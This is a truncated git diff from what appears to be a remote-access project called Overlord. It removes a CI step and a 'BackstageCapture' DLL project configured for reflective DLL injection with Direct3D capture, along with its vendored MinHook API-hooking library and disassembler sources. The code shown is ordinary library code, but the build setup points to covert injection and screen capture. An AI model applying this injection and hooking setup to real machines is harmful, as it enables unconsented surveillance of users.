diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index cad34c2..9298aab 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -43,17 +43,12 @@ jobs: shell: cmd run: call scripts\build-backstage-dll.bat - - name: Build BackstageCapture DLL with MSVC - shell: cmd - run: call scripts\build-backstage-capture-dll.bat - - name: Upload backstage DLLs uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: backstage-dll path: | Overlord-Server/dist-clients/BackstageInjection.x64.dll - Overlord-Server/dist-clients/BackstageCapture.x64.dll if-no-files-found: error retention-days: 1 diff --git a/BackstageCapture/BackstageCapture.vcxproj b/BackstageCapture/BackstageCapture.vcxproj deleted file mode 100644 index 73837b3..0000000 --- a/BackstageCapture/BackstageCapture.vcxproj +++ /dev/null @@ -1,144 +0,0 @@ - - - - - Debug - x64 - - - Release - x64 - - - - {A1B2C3D4-1234-5678-9ABC-DEF012345678} - BackstageCapture - Win32Proj - - - - DynamicLibrary - v143 - MultiByte - false - - - DynamicLibrary - false - v143 - false - Unicode - - - - - - - - - - - - - <_ProjectFileVersion>11.0.50727.1 - - - $(SolutionDir)$(Platform)\$(Configuration)\ - $(Platform)\$(Configuration)\ - true - $(ProjectName).x64 - - - $(SolutionDir)$(Platform)\$(Configuration)\ - $(Platform)\$(Configuration)\ - false - $(ProjectName).x64 - - - - X64 - - - MaxSpeed - OnlyExplicitInline - true - Size - false - WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - $(OutDir)$(ProjectName).x64.dll - true - Windows - true - true - MachineX64 - d3d11.lib;dxgi.lib;%(AdditionalDependencies) - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - true - Size - false - WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - $(OutDir)$(ProjectName).x64.dll - true - Windows - true - true - MachineX64 - d3d11.lib;dxgi.lib;%(AdditionalDependencies) - - - - - - - - CompileAsC - - - CompileAsC - - - CompileAsC - - - CompileAsC - - - CompileAsC - - - - - - - - - - - - diff --git a/BackstageCapture/Minhook/include/MinHook.h b/BackstageCapture/Minhook/include/MinHook.h deleted file mode 100644 index ae39350..0000000 --- a/BackstageCapture/Minhook/include/MinHook.h +++ /dev/null @@ -1,185 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) - #error MinHook supports only x86 and x64 systems. -#endif - -#include - -// MinHook Error Codes. -typedef enum MH_STATUS -{ - // Unknown error. Should not be returned. - MH_UNKNOWN = -1, - - // Successful. - MH_OK = 0, - - // MinHook is already initialized. - MH_ERROR_ALREADY_INITIALIZED, - - // MinHook is not initialized yet, or already uninitialized. - MH_ERROR_NOT_INITIALIZED, - - // The hook for the specified target function is already created. - MH_ERROR_ALREADY_CREATED, - - // The hook for the specified target function is not created yet. - MH_ERROR_NOT_CREATED, - - // The hook for the specified target function is already enabled. - MH_ERROR_ENABLED, - - // The hook for the specified target function is not enabled yet, or already - // disabled. - MH_ERROR_DISABLED, - - // The specified pointer is invalid. It points the address of non-allocated - // and/or non-executable region. - MH_ERROR_NOT_EXECUTABLE, - - // The specified target function cannot be hooked. - MH_ERROR_UNSUPPORTED_FUNCTION, - - // Failed to allocate memory. - MH_ERROR_MEMORY_ALLOC, - - // Failed to change the memory protection. - MH_ERROR_MEMORY_PROTECT, - - // The specified module is not loaded. - MH_ERROR_MODULE_NOT_FOUND, - - // The specified function is not found. - MH_ERROR_FUNCTION_NOT_FOUND -} -MH_STATUS; - -// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, -// MH_QueueEnableHook or MH_QueueDisableHook. -#define MH_ALL_HOOKS NULL - -#ifdef __cplusplus -extern "C" { -#endif - - // Initialize the MinHook library. You must call this function EXACTLY ONCE - // at the beginning of your program. - MH_STATUS WINAPI MH_Initialize(VOID); - - // Uninitialize the MinHook library. You must call this function EXACTLY - // ONCE at the end of your program. - MH_STATUS WINAPI MH_Uninitialize(VOID); - - // Creates a hook for the specified target function, in disabled state. - // Parameters: - // pTarget [in] A pointer to the target function, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal); - - // Creates a hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszProcName [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApi( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal); - - // Creates a hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszProcName [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - // ppTarget [out] A pointer to the target function, which will be used - // with other functions. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApiEx( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget); - - // Removes an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); - - // Enables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // enabled in one go. - MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); - - // Disables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // disabled in one go. - MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); - - // Queues to enable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be enabled. - MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); - - // Queues to disable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be disabled. - MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); - - // Applies all queued changes in one go. - MH_STATUS WINAPI MH_ApplyQueued(VOID); - - // Translates the MH_STATUS to its name as a string. - const char *WINAPI MH_StatusToString(MH_STATUS status); - -#ifdef __cplusplus -} -#endif diff --git a/BackstageCapture/Minhook/src/buffer.c b/BackstageCapture/Minhook/src/buffer.c deleted file mode 100644 index 940df65..0000000 --- a/BackstageCapture/Minhook/src/buffer.c +++ /dev/null @@ -1,312 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "buffer.h" - -// Size of each memory block. (= page size of VirtualAlloc) -#define MEMORY_BLOCK_SIZE 0x1000 - -// Max range for seeking a memory block. (= 1024MB) -#define MAX_MEMORY_RANGE 0x40000000 - -// Memory protection flags to check the executable address. -#define PAGE_EXECUTE_FLAGS \ - (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY) - -// Memory slot. -typedef struct _MEMORY_SLOT -{ - union - { - struct _MEMORY_SLOT *pNext; - UINT8 buffer[MEMORY_SLOT_SIZE]; - }; -} MEMORY_SLOT, *PMEMORY_SLOT; - -// Memory block info. Placed at the head of each block. -typedef struct _MEMORY_BLOCK -{ - struct _MEMORY_BLOCK *pNext; - PMEMORY_SLOT pFree; // First element of the free slot list. - UINT usedCount; -} MEMORY_BLOCK, *PMEMORY_BLOCK; - -//------------------------------------------------------------------------- -// Global Variables: -//------------------------------------------------------------------------- - -// First element of the memory block list. -static PMEMORY_BLOCK g_pMemoryBlocks; - -//------------------------------------------------------------------------- -VOID InitializeBuffer(VOID) -{ - // Nothing to do for now. -} - -//------------------------------------------------------------------------- -VOID UninitializeBuffer(VOID) -{ - PMEMORY_BLOCK pBlock = g_pMemoryBlocks; - g_pMemoryBlocks = NULL; - - while (pBlock) - { - PMEMORY_BLOCK pNext = pBlock->pNext; - VirtualFree(pBlock, 0, MEM_RELEASE); - pBlock = pNext; - } -} - -//------------------------------------------------------------------------- -#if defined(_M_X64) || defined(__x86_64__) -static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity) -{ - ULONG_PTR tryAddr = (ULONG_PTR)pAddress; - - // Round down to the allocation granularity. - tryAddr -= tryAddr % dwAllocationGranularity; - - // Start from the previous allocation granularity multiply. - tryAddr -= dwAllocationGranularity; - - while (tryAddr >= (ULONG_PTR)pMinAddr) - { - MEMORY_BASIC_INFORMATION mbi; - if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) - break; - - if (mbi.State == MEM_FREE) - return (LPVOID)tryAddr; - - if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity) - break; - - tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity; - } - - return NULL; -} -#endif - -//------------------------------------------------------------------------- -#if defined(_M_X64) || defined(__x86_64__) -static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity) -{ - ULONG_PTR tryAddr = (ULONG_PTR)pAddress; - - // Round down to the allocation granularity. - tryAddr -= tryAddr % dwAllocationGranularity; - - // Start from the next allocation granularity multiply. - tryAddr += dwAllocationGranularity; - - while (tryAddr <= (ULONG_PTR)pMaxAddr) - { - MEMORY_BASIC_INFORMATION mbi; - if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) - break; - - if (mbi.State == MEM_FREE) - return (LPVOID)tryAddr; - - tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize; - - // Round up to the next allocation granularity. - tryAddr += dwAllocationGranularity - 1; - tryAddr -= tryAddr % dwAllocationGranularity; - } - - return NULL; -} -#endif - -//------------------------------------------------------------------------- -static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin) -{ - PMEMORY_BLOCK pBlock; -#if defined(_M_X64) || defined(__x86_64__) - ULONG_PTR minAddr; - ULONG_PTR maxAddr; - - SYSTEM_INFO si; - GetSystemInfo(&si); - minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress; - maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress; - - // pOrigin ± 512MB - if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE) - minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE; - - if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE) - maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE; - - // Make room for MEMORY_BLOCK_SIZE bytes. - maxAddr -= MEMORY_BLOCK_SIZE - 1; -#endif - - // Look the registered blocks for a reachable one. - for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext) - { -#if defined(_M_X64) || defined(__x86_64__) - // Ignore the blocks too far. - if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr) - continue; -#endif - // The block has at least one unused slot. - if (pBlock->pFree != NULL) - return pBlock; - } - -#if defined(_M_X64) || defined(__x86_64__) - // Alloc a new block above if not found. - { - LPVOID pAlloc = pOrigin; - while ((ULONG_PTR)pAlloc >= minAddr) - { - pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity); - if (pAlloc == NULL) - break; - - pBlock = (PMEMORY_BLOCK)VirtualAlloc( - pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (pBlock != NULL) - break; - } - } - - // Alloc a new block below if not found. - if (pBlock == NULL) - { - LPVOID pAlloc = pOrigin; - while ((ULONG_PTR)pAlloc <= maxAddr) - { - pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity); - if (pAlloc == NULL) - break; - - pBlock = (PMEMORY_BLOCK)VirtualAlloc( - pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (pBlock != NULL) - break; - } - } -#else - // In x86 mode, a memory block can be placed anywhere. - pBlock = (PMEMORY_BLOCK)VirtualAlloc( - NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); -#endif - - if (pBlock != NULL) - { - // Build a linked list of all the slots. - PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1; - pBlock->pFree = NULL; - pBlock->usedCount = 0; - do - { - pSlot->pNext = pBlock->pFree; - pBlock->pFree = pSlot; - pSlot++; - } while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE); - - pBlock->pNext = g_pMemoryBlocks; - g_pMemoryBlocks = pBlock; - } - - return pBlock; -} - -//------------------------------------------------------------------------- -LPVOID AllocateBuffer(LPVOID pOrigin) -{ - PMEMORY_SLOT pSlot; - PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin); - if (pBlock == NULL) - return NULL; - - // Remove an unused slot from the list. - pSlot = pBlock->pFree; - pBlock->pFree = pSlot->pNext; - pBlock->usedCount++; -#ifdef _DEBUG - // Fill the slot with INT3 for debugging. - memset(pSlot, 0xCC, sizeof(MEMORY_SLOT)); -#endif - return pSlot; -} - -//------------------------------------------------------------------------- -VOID FreeBuffer(LPVOID pBuffer) -{ - PMEMORY_BLOCK pBlock = g_pMemoryBlocks; - PMEMORY_BLOCK pPrev = NULL; - ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE; - - while (pBlock != NULL) - { - if ((ULONG_PTR)pBlock == pTargetBlock) - { - PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer; -#ifdef _DEBUG - // Clear the released slot for debugging. - memset(pSlot, 0x00, sizeof(MEMORY_SLOT)); -#endif - // Restore the released slot to the list. - pSlot->pNext = pBlock->pFree; - pBlock->pFree = pSlot; - pBlock->usedCount--; - - // Free if unused. - if (pBlock->usedCount == 0) - { - if (pPrev) - pPrev->pNext = pBlock->pNext; - else - g_pMemoryBlocks = pBlock->pNext; - - VirtualFree(pBlock, 0, MEM_RELEASE); - } - - break; - } - - pPrev = pBlock; - pBlock = pBlock->pNext; - } -} - -//------------------------------------------------------------------------- -BOOL IsExecutableAddress(LPVOID pAddress) -{ - MEMORY_BASIC_INFORMATION mi; - VirtualQuery(pAddress, &mi, sizeof(mi)); - - return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS)); -} diff --git a/BackstageCapture/Minhook/src/buffer.h b/BackstageCapture/Minhook/src/buffer.h deleted file mode 100644 index 204d551..0000000 --- a/BackstageCapture/Minhook/src/buffer.h +++ /dev/null @@ -1,42 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -// Size of each memory slot. -#if defined(_M_X64) || defined(__x86_64__) - #define MEMORY_SLOT_SIZE 64 -#else - #define MEMORY_SLOT_SIZE 32 -#endif - -VOID InitializeBuffer(VOID); -VOID UninitializeBuffer(VOID); -LPVOID AllocateBuffer(LPVOID pOrigin); -VOID FreeBuffer(LPVOID pBuffer); -BOOL IsExecutableAddress(LPVOID pAddress); diff --git a/BackstageCapture/Minhook/src/hde/hde32.c b/BackstageCapture/Minhook/src/hde/hde32.c deleted file mode 100644 index eb6af9b..0000000 --- a/BackstageCapture/Minhook/src/hde/hde32.c +++ /dev/null @@ -1,324 +0,0 @@ -/* - * Hacker Disassembler Engine 32 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#if defined(_M_IX86) || defined(__i386__) - -#include -#include "hde32.h" -#include "table32.h" - -unsigned int hde32_disasm(const void *code, hde32s *hs) -{ - uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; - uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0; - - memset(hs, 0, sizeof(hde32s)); - - for (x = 16; x; x--) - switch (c = *p++) { - case 0xf3: - hs->p_rep = c; - pref |= PRE_F3; - break; - case 0xf2: - hs->p_rep = c; - pref |= PRE_F2; - break; - case 0xf0: - hs->p_lock = c; - pref |= PRE_LOCK; - break; - case 0x26: case 0x2e: case 0x36: - case 0x3e: case 0x64: case 0x65: - hs->p_seg = c; - pref |= PRE_SEG; - break; - case 0x66: - hs->p_66 = c; - pref |= PRE_66; - break; - case 0x67: - hs->p_67 = c; - pref |= PRE_67; - break; - default: - goto pref_done; - } - pref_done: - - hs->flags = (uint32_t)pref << 23; - - if (!pref) - pref |= PRE_NONE; - - if ((hs->opcode = c) == 0x0f) { - hs->opcode2 = c = *p++; - ht += DELTA_OPCODES; - } else if (c >= 0xa0 && c <= 0xa3) { - if (pref & PRE_67) - pref |= PRE_66; - else - pref &= ~PRE_66; - } - - opcode = c; - cflags = ht[ht[opcode / 4] + (opcode % 4)]; - - if (cflags == C_ERROR) { - hs->flags |= F_ERROR | F_ERROR_OPCODE; - cflags = 0; - if ((opcode & -3) == 0x24) - cflags++; - } - - x = 0; - if (cflags & C_GROUP) { - uint16_t t; - t = *(uint16_t *)(ht + (cflags & 0x7f)); - cflags = (uint8_t)t; - x = (uint8_t)(t >> 8); - } - - if (hs->opcode2) { - ht = hde32_table + DELTA_PREFIXES; - if (ht[ht[opcode / 4] + (opcode % 4)] & pref) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (cflags & C_MODRM) { - hs->flags |= F_MODRM; - hs->modrm = c = *p++; - hs->modrm_mod = m_mod = c >> 6; - hs->modrm_rm = m_rm = c & 7; - hs->modrm_reg = m_reg = (c & 0x3f) >> 3; - - if (x && ((x << m_reg) & 0x80)) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - - if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { - uint8_t t = opcode - 0xd9; - if (m_mod == 3) { - ht = hde32_table + DELTA_FPU_MODRM + t*8; - t = ht[m_reg] << m_rm; - } else { - ht = hde32_table + DELTA_FPU_REG; - t = ht[t] << m_reg; - } - if (t & 0x80) - hs->flags |= F_ERROR | F_ERROR_OPCODE; - } - - if (pref & PRE_LOCK) { - if (m_mod == 3) { - hs->flags |= F_ERROR | F_ERROR_LOCK; - } else { - uint8_t *table_end, op = opcode; - if (hs->opcode2) { - ht = hde32_table + DELTA_OP2_LOCK_OK; - table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; - } else { - ht = hde32_table + DELTA_OP_LOCK_OK; - table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; - op &= -2; - } - for (; ht != table_end; ht++) - if (*ht++ == op) { - if (!((*ht << m_reg) & 0x80)) - goto no_lock_error; - else - break; - } - hs->flags |= F_ERROR | F_ERROR_LOCK; - no_lock_error: - ; - } - } - - if (hs->opcode2) { - switch (opcode) { - case 0x20: case 0x22: - m_mod = 3; - if (m_reg > 4 || m_reg == 1) - goto error_operand; - else - goto no_error_operand; - case 0x21: case 0x23: - m_mod = 3; - if (m_reg == 4 || m_reg == 5) - goto error_operand; - else - goto no_error_operand; - } - } else { - switch (opcode) { - case 0x8c: - if (m_reg > 5) - goto error_operand; - else - goto no_error_operand; - case 0x8e: - if (m_reg == 1 || m_reg > 5) - goto error_operand; - else - goto no_error_operand; - } - } - - if (m_mod == 3) { - uint8_t *table_end; - if (hs->opcode2) { - ht = hde32_table + DELTA_OP2_ONLY_MEM; - table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM; - } else { - ht = hde32_table + DELTA_OP_ONLY_MEM; - table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; - } - for (; ht != table_end; ht += 2) - if (*ht++ == opcode) { - if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) - goto error_operand; - else - break; - } - goto no_error_operand; - } else if (hs->opcode2) { - switch (opcode) { - case 0x50: case 0xd7: case 0xf7: - if (pref & (PRE_NONE | PRE_66)) - goto error_operand; - break; - case 0xd6: - if (pref & (PRE_F2 | PRE_F3)) - goto error_operand; - break; - case 0xc5: - goto error_operand; - } - goto no_error_operand; - } else - goto no_error_operand; - - error_operand: - hs->flags |= F_ERROR | F_ERROR_OPERAND; - no_error_operand: - - c = *p++; - if (m_reg <= 1) { - if (opcode == 0xf6) - cflags |= C_IMM8; - else if (opcode == 0xf7) - cflags |= C_IMM_P66; - } - - switch (m_mod) { - case 0: - if (pref & PRE_67) { - if (m_rm == 6) - disp_size = 2; - } else - if (m_rm == 5) - disp_size = 4; - break; - case 1: - disp_size = 1; - break; - case 2: - disp_size = 2; - if (!(pref & PRE_67)) - disp_size <<= 1; - break; - } - - if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) { - hs->flags |= F_SIB; - p++; - hs->sib = c; - hs->sib_scale = c >> 6; - hs->sib_index = (c & 0x3f) >> 3; - if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) - disp_size = 4; - } - - p--; - switch (disp_size) { - case 1: - hs->flags |= F_DISP8; - hs->disp.disp8 = *p; - break; - case 2: - hs->flags |= F_DISP16; - hs->disp.disp16 = *(uint16_t *)p; - break; - case 4: - hs->flags |= F_DISP32; - hs->disp.disp32 = *(uint32_t *)p; - break; - } - p += disp_size; - } else if (pref & PRE_LOCK) - hs->flags |= F_ERROR | F_ERROR_LOCK; - - if (cflags & C_IMM_P66) { - if (cflags & C_REL32) { - if (pref & PRE_66) { - hs->flags |= F_IMM16 | F_RELATIVE; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - goto disasm_done; - } - goto rel32_ok; - } - if (pref & PRE_66) { - hs->flags |= F_IMM16; - hs->imm.imm16 = *(uint16_t *)p; - p += 2; - } else { - hs->flags |= F_IMM32; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } - } - - if (cflags & C_IMM16) { - if (hs->flags & F_IMM32) { - hs->flags |= F_IMM16; - hs->disp.disp16 = *(uint16_t *)p; - } else if (hs->flags & F_IMM16) { - hs->flags |= F_2IMM16; - hs->disp.disp16 = *(uint16_t *)p; - } else { - hs->flags |= F_IMM16; - hs->imm.imm16 = *(uint16_t *)p; - } - p += 2; - } - if (cflags & C_IMM8) { - hs->flags |= F_IMM8; - hs->imm.imm8 = *p++; - } - - if (cflags & C_REL32) { - rel32_ok: - hs->flags |= F_IMM32 | F_RELATIVE; - hs->imm.imm32 = *(uint32_t *)p; - p += 4; - } else if (cflags & C_REL8) { - hs->flags |= F_IMM8 | F_RELATIVE; - hs->imm.imm8 = *p++; - } - - disasm_done: - - if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { - hs->flags |= F_ERROR | F_ERROR_LENGTH; - hs->len = 15; - } - - return (unsigned int)hs->len; -} - -#endif // defined(_M_IX86) || defined(__i386__) diff --git a/BackstageCapture/Minhook/src/hde/hde32.h b/BackstageCapture/Minhook/src/hde/hde32.h deleted file mode 100644 index 1112450..0000000 --- a/BackstageCapture/Minhook/src/hde/hde32.h +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Hacker Disassembler Engine 32 - * Copyright (c) 2006-2009, Vyacheslav Patkov. - * All rights reserved. - * - * hde32.h: C/C++ header file - * - */ - -#ifndef _HDE32_H_ -#define _HDE32_H_ - -/* stdint.h - C99 standard header - * http://en.wikipedia.org/wiki/stdint.h - * - * if your compiler doesn't contain "stdint.h" header (for - * example, Microsoft Visual C++), you can download file: - * http://www.azillionmonkeys.com/qed/pstdint.h - * and change next line to: - * #include "pstdint.h" - */ -#include "pstdint.h" - -#define F_MODRM 0x00000001 -#define F_SIB 0x00000002 -#define F_IMM8 0x00000004 -#define F_IMM16 0x00000008 -#define F_IMM32 0x00000010 -#define F_DISP8 0x00000020 -#define F_DISP16 0x00000040 -#define F_DISP32 0x00000080 -#define F_RELATIVE 0x00000100 -#define F_2IMM16 0x00000800 -#define F_ERROR 0x00001000 -#define F_ERROR_OPCODE 0x00002000 -#define F_ERROR_LENGTH 0x00004000 -#define F_ERROR_LOCK 0x00008000 -#define F_ERROR_OPERAND 